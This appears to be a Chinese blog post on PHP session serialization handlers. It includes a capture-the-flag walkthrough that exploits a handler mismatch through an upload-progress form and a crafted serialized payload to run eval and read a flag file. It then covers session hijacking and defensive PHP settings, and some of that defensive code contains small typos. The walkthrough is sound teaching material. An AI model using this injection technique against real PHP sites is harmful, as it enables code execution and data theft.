php session存储机制
php session的存储机制是由session.serialize_handler来定义引擎的,默认以文件的方式存储,且存储的文件是由sess_sessionid来决定文件名的,文件名时可变的,如Codeigniter框架的session存储的文件名为ci_sessionSESSIONID,也就是ci_session加上sessionid字符串,文件的内容时session值序列化之后的结果。
session.serialize_handler定义的三种引擎
- php处理器
存储格式:键名 竖线 serialize()函数序列化之后的值 - php_binaryj处理器
键名长度对应的ascll字符 键名 serialize()函数序列化之后的值 - php_serialize处理器
serialize()函数序列化处理的数组
一道例题:
源码:
<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}
function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}
?>
?phpinfo查看信息,看到session.serialize_handler设置的是php_serialize机制,用这个方式序列化存储session
这里涉及到php有个上传文件时能将文件名写入session的技巧:
满足下面两个条件就可以将文件写入session
1、session.upload_progress.enabled = On(通过phpinfo信息知道此时是On);
2、上传一个字段的属性名和session.upload_progress.name的值相等,根据phpinfo中的信息
其值为PHP_SESSION_UPLOAD_PROGRESS,即上传
name=“PHP_SESSION_UPLOAD_PROGRESS”
构造一个文件上传页面:
(这里由于我的phpstorm中配置的问题,导致浏览器不能访问该文件的地址,出现 requested without authorization, you can copy URL and open it in browser to trust it ,解决这个问题需要在file settings下
打开Debugger,进行如下设置
。。。)
之后通过下面的代码成功构造上传界面
<!DOCTYPE html>
<html>
<body>
<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="33" />//这里value的值不能为空
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
随便上传一个文件后抓包,
禁用了一些函数,system(‘ls’)不行,可以用print_r(scandir(dirname(__FILE__)));
构造payload的代码:
<?php
class OowoO
{
public $mdzz="使用:print_r(scandir(dirname(__FILE__)));";
}
$obj = new OowoO();
echo serialize($obj);
?>
将filename改成序列化后的结果,记得加|(竖线),以及转义符
在phpinfo中查看路径
修改payload
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:88:\"print_r(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));\";}
拿到flag
php session 漏洞–会话劫持
-
一种劫持tcp协议的方法,几乎所有局域网都有被劫持的可能
-
session会话:当客户端的浏览器连接到服务器后,服务器就会建立一个该用户的session(由一个独立的字符串来识别,成为session id),每个用户的session是独立的,并且由服务器来维护。当用户发送请求时,所发送的http表头内包含session id的值,服务器会通过这个值来识别发送请求的用户。
-
session内容:
session会保存用户的个人数据,可以保存通过验证的用户账号和密码。如果需要验证用户身份,就可以拿已经保存了的账号和密码进行比较。 -
session生命周期:
从用户连上服务器后开始,关掉浏览器或是注销时用户session_destroy函数删除session数据时结束。如果用户在20分钟内没有使用计算机的动作,session也会自动结束。 -
架构:
-
会话劫持:指攻击者利用各种手段来获取用户的session id,如果成功,攻击者就可以利用目标用户的身份来登陆网站,获取目标用户的操作权限。
攻击方式:
(1)暴力破解:通过尝试各种session id
(2)计算:前提是该session id不是随机产生
(3)窃取:使用网络截获,xss攻击等方法
攻击步骤:
session_start():打开session
echo session_id();获取访客的session id
防御方法:
(1)定期更改session id
函数bool session_regenerate_id([bool delete_old_session])delete_old_session 为true时,则删除旧的session文件;为false时,则保留旧的session,默认为flase。
在index.php开头加上
session_start();
session_regenerate_id(TRUE); 后每次重新加载都会产生新的session id。
(2)更改session的名称
session的默认名称是PHPSESSID,此变量会保存在cookie中,如果黑客不抓包分析,就不能猜到这个名称,阻挡部分攻击session_start();
session_name(“mysessionid”);
(3)关闭透明化session id
透明化session id指当浏览器中的http请求没有使用cookies来制定session id时,session id使用链接来传递;打开php.ini,编辑session.use_trans_sid = 0
代码中
int_set(“session.use_trans_sid”, 0);
session_start();
(4)只从cookie检查session id
session.use_cookies = 1 表示使用cookies存放session id
session.use_only_cookies = 1 表示只使用cookies存放session id,这可以避免session固定攻击
代码中
int_set(“session.use_cookies”, 1);
int_set(“session.use_only_cookies”, 1); p>
5)使用URL传递隐藏参数
session_start();
$ seid = md5(uniqid(rand()), TRUE));
$ _SESSION[“seid”] = $ seid;
攻击者虽然能获取session数据,但是无法得知$seid的值,只要检查seid的值,就可以确认当前页面是否是web程序自己调用的